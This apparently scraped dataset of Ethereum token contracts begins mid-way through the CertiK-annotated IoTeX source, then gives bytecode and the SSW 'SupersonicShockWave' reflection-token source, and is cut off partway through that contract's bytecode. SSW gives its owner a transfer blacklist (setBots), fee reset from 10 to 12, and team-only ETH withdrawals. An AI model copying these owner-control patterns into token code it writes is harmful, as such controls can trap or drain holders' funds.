= oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract IoTeXNetwork is StandardToken, Pausable { string public constant name = "IoTeX Network"; string public constant symbol = "IOTX"; uint8 public constant decimals = 18; modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this) ); _; } function IoTeXNetwork(uint tokenTotalAmount) { totalSupply_ = tokenTotalAmount; balances[msg.sender] = tokenTotalAmount; emit Transfer(address(0x0), msg.sender, tokenTotalAmount); } /*@CTK CtkTransferNoEffect @post (_to == address(0)) \/ (paused == true) -> __reverted == true */ /*@CTK CtkTransferEffect @pre __reverted == false @pre balances[msg.sender] >= _value @pre paused == false @pre __return == true @pre msg.sender != _to @post __post.balances[_to] == balances[_to] + _value @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function transfer(address _to, uint _value) whenNotPaused validDestination(_to) returns (bool) { return super.transfer(_to, _value); } /*@CTK CtkTransferFromNoEffect @post (_to == address(0)) \/ (paused == true) -> __reverted == true */ /*@CTK CtkTransferFromEffect @tag assume_completion @pre _from != _to @post __post.balances[_to] == balances[_to] + _value @post __post.balances[_from] == balances[_from] - _value @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function transferFrom(address _from, address _to, uint _value) whenNotPaused validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } /*@CTK CtkApproveNoEffect @post (paused == true) -> __post == this */ /*@CTK CtkApprove @tag assume_completion @post __post.allowed[msg.sender][_spender] == _value */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } /*@CTK CtkIncreaseApprovalNoEffect @post (paused == true) -> __reverted == true */ /*@CTK CtkIncreaseApprovalEffect @pre paused == false @tag assume_completion @post __post.allowed[msg.sender][_spender] == allowed[msg.sender][_spender] + _addedValue @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } /*@CTK CtkDecreaseApprovalNoEffect @post (paused == true) -> __reverted == true */ /*@CTK CtkDecreaseApprovalEffect @pre allowed[msg.sender][_spender] >= _subtractedValue @tag assume_completion @post __post.allowed[msg.sender][_spender] == allowed[msg.sender][_spender] - _subtractedValue @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce567146102905780633f4ba83a146102c15780635c975abb146102d8578063661884631461030757806370a082311461036c5780638456cb59146103c35780638da5cb5b146103da57806395d89b4114610431578063a9059cbb146104c1578063d73dd62314610526578063dd62ed3e1461058b578063f2fde38b14610602575b600080fd5b3480156100f757600080fd5b50610100610645565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067e565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f56106ae565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b8565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610763565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cd57600080fd5b506102d6610768565b005b3480156102e457600080fd5b506102ed610828565b604051808215151515815260200191505060405180910390f35b34801561031357600080fd5b50610352600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b34801561037857600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086b565b6040518082815260200191505060405180910390f35b3480156103cf57600080fd5b506103d86108b3565b005b3480156103e657600080fd5b506103ef610974565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043d57600080fd5b5061044661099a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048657808201518184015260208101905061046b565b50505050905090810190601f1680156104b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cd57600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d3565b604051808215151515815260200191505060405180910390f35b34801561053257600080fd5b50610571600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7c565b604051808215151515815260200191505060405180910390f35b34801561059757600080fd5b506105ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aac565b6040518082815260200191505060405180910390f35b34801561060e57600080fd5b50610643600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b33565b005b6040805190810160405280600d81526020017f496f546558204e6574776f726b0000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561069c57600080fd5b6106a68383610c8b565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff161515156106d657600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561071357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561074e57600080fd5b610759858585610d7d565b9150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c457600080fd5b600360149054906101000a900460ff1615156107df57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561085957600080fd5b6108638383611137565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090f57600080fd5b600360149054906101000a900460ff1615151561092b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f494f54580000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156109f157600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a2e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a6957600080fd5b610a7384846113c8565b91505092915050565b6000600360149054906101000a900460ff16151515610a9a57600080fd5b610aa483836115e7565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610bcb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dba57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e0757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e9257600080fd5b610ee3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f76826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611248576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112dc565b61125b83826117e390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561140557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561145257600080fd5b6114a3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611536826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061167882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008282111515156117f157fe5b818303905092915050565b6000818301905082811015151561180f57fe5b809050929150505600a165627a7a72305820ffa710f4c82e1f12645713d71da89f0c795cce49fbe12e060ea17f520d6413f80029
{"success": true, "error": null, "results": {}}
1,203
0x436f24cbc5385afada9ea44aa68f73950b54be34
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ // SPDX-License-Identifier: Unlicensed // https://t.me/SupersonicShockWaveETH pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SSW is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SupersonicShockWave"; string private constant _symbol = "SSW | t.me/SupersonicShockWaveETH"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102e2578063c3c8cd8014610302578063c9567bf914610317578063d543dbeb1461032c578063dd62ed3e1461034c57600080fd5b8063715018a6146102705780638da5cb5b1461028557806395d89b41146102ad578063a9059cbb146102c257600080fd5b8063273123b7116100dc578063273123b7146101dd578063313ce567146101ff5780635932ead11461021b5780636fc3eaec1461023b57806370a082311461025057600080fd5b806306fdde0314610119578063095ea7b31461016757806318160ddd1461019757806323b872dd146101bd57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260138152725375706572736f6e696353686f636b5761766560681b60208201525b60405161015e9190611a00565b60405180910390f35b34801561017357600080fd5b50610187610182366004611891565b610392565b604051901515815260200161015e565b3480156101a357600080fd5b50683635c9adc5dea000005b60405190815260200161015e565b3480156101c957600080fd5b506101876101d8366004611851565b6103a9565b3480156101e957600080fd5b506101fd6101f83660046117e1565b610412565b005b34801561020b57600080fd5b506040516009815260200161015e565b34801561022757600080fd5b506101fd610236366004611983565b610466565b34801561024757600080fd5b506101fd6104ae565b34801561025c57600080fd5b506101af61026b3660046117e1565b6104db565b34801561027c57600080fd5b506101fd6104fd565b34801561029157600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102b957600080fd5b50610151610571565b3480156102ce57600080fd5b506101876102dd366004611891565b610591565b3480156102ee57600080fd5b506101fd6102fd3660046118bc565b61059e565b34801561030e57600080fd5b506101fd610642565b34801561032357600080fd5b506101fd610678565b34801561033857600080fd5b506101fd6103473660046119bb565b610a3b565b34801561035857600080fd5b506101af610367366004611819565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061039f338484610b0e565b5060015b92915050565b60006103b6848484610c32565b610408843361040385604051806060016040528060288152602001611bd1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611044565b610b0e565b5060019392505050565b6000546001600160a01b031633146104455760405162461bcd60e51b815260040161043c90611a53565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104905760405162461bcd60e51b815260040161043c90611a53565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104ce57600080fd5b476104d88161107e565b50565b6001600160a01b0381166000908152600260205260408120546103a390611103565b6000546001600160a01b031633146105275760405162461bcd60e51b815260040161043c90611a53565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060604051806060016040528060218152602001611bf960219139905090565b600061039f338484610c32565b6000546001600160a01b031633146105c85760405162461bcd60e51b815260040161043c90611a53565b60005b815181101561063e576001600a60008484815181106105fa57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063681611b66565b9150506105cb565b5050565b600c546001600160a01b0316336001600160a01b03161461066257600080fd5b600061066d306104db565b90506104d881611187565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161043c90611a53565b600f54600160a01b900460ff16156106fc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107393082683635c9adc5dea00000610b0e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906117fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f257600080fd5b505afa158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906117fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087257600080fd5b505af1158015610886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108aa91906117fd565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108da816104db565b6000806108ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095257600080fd5b505af1158015610966573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098b91906119d3565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063e919061199f565b6000546001600160a01b03163314610a655760405162461bcd60e51b815260040161043c90611a53565b60008111610ab55760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161043c565b610ad36064610acd683635c9adc5dea000008461132c565b906113ab565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043c565b6001600160a01b038216610bd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c